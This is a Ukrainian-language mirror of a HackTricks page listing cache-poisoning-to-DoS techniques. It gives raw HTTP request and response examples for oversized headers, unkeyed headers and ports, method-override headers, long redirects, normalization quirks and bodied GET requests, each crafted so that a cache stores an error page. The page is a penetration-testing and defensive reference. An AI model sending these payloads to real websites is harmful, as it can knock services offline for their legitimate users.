mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
126 lines
5.5 KiB
Markdown
126 lines
5.5 KiB
Markdown
# Cache Poisoning to DoS
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> [!CAUTION]
|
||
> На цій сторінці ви можете знайти різні варіації, щоб змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів**
|
||
|
||
- **HTTP Header Oversize (HHO)**
|
||
|
||
Відправте запит з розміром заголовка, більшим за той, що підтримується веб-сервером, але меншим за той, що підтримується кеш-сервером. Веб-сервер відповість з кодом 400, який може бути кешований:
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Oversize-Hedear:Big-Value-000000000000000
|
||
```
|
||
- **HTTP Meta Character (HMC) & Unexpected values**
|
||
|
||
Відправте заголовок, що містить деякі **шкідливі мета-символи**, такі як і . Щоб атака спрацювала, спочатку потрібно обійти кеш.
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Meta-Hedear:Bad Chars\n \r
|
||
```
|
||
Погано налаштований заголовок може бути просто `\:` як заголовок.
|
||
|
||
Це також може спрацювати, якщо надсилаються несподівані значення, такі як несподіваний Content-Type:
|
||
```
|
||
GET /anas/repos HTTP/2
|
||
Host: redacted.com
|
||
Content-Type: HelloWorld
|
||
```
|
||
- **Unkeyed header**
|
||
|
||
Деякі веб-сайти повернуть код статусу помилки, якщо вони **побачать деякі специфічні заголовки** в запиті, як-от заголовок _X-Amz-Website-Location-Redirect: someThing_:
|
||
```
|
||
GET /app.js HTTP/2
|
||
Host: redacted.com
|
||
X-Amz-Website-Location-Redirect: someThing
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
|
||
Invalid Header
|
||
```
|
||
- **HTTP Method Override Attack (HMO)**
|
||
|
||
Якщо сервер підтримує зміну HTTP-методу за допомогою заголовків, таких як `X-HTTP-Method-Override`, `X-HTTP-Method` або `X-Method-Override`, можливо запитати дійсну сторінку, змінюючи метод, так що сервер не підтримує його, і тому погана відповідь кешується:
|
||
```
|
||
GET /blogs HTTP/1.1
|
||
Host: redacted.com
|
||
HTTP-Method-Override: POST
|
||
```
|
||
- **Unkeyed Port**
|
||
|
||
Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт:
|
||
```
|
||
GET /index.html HTTP/1.1
|
||
Host: redacted.com:1
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: https://redacted.com:1/en/index.html
|
||
Cache: miss
|
||
```
|
||
- **Long Redirect DoS**
|
||
|
||
Як у наступному прикладі, x не кешується, тому зловмисник може зловживати поведінкою відповіді перенаправлення, щоб зробити так, щоб перенаправлення відправляло URL, який настільки великий, що повертає помилку. Тоді люди, які намагаються отримати доступ до URL без некешованого ключа x, отримають відповідь з помилкою:
|
||
```
|
||
GET /login?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: /login/?x=veryLongUrl
|
||
Cache: hit
|
||
|
||
GET /login/?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 414 Request-URI Too Large
|
||
CF-Cache-Status: miss
|
||
```
|
||
- **Нормалізація регістру заголовка хоста**
|
||
|
||
Заголовок хоста повинен бути нечутливим до регістру, але деякі веб-сайти очікують, що він буде в нижньому регістрі, повертаючи помилку, якщо це не так:
|
||
```
|
||
GET /img.png HTTP/1.1
|
||
Host: Cdn.redacted.com
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cache:miss
|
||
|
||
Not Found
|
||
```
|
||
- **Нормалізація шляху**
|
||
|
||
Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шляху та зберігає відповідь для URLdecoded шляху:
|
||
```
|
||
GET /api/v1%2e1/user HTTP/1.1
|
||
Host: redacted.com
|
||
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cach:miss
|
||
|
||
Not Found
|
||
```
|
||
- **Fat Get**
|
||
|
||
Деякі кеш-сервери, такі як Cloudflare, або веб-сервери, зупиняють GET-запити з тілом, тому це може бути використано для кешування недійсної відповіді:
|
||
```
|
||
GET /index.html HTTP/2
|
||
Host: redacted.com
|
||
Content-Length: 3
|
||
|
||
xyz
|
||
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
```
|
||
## Посилання
|
||
|
||
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
||
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|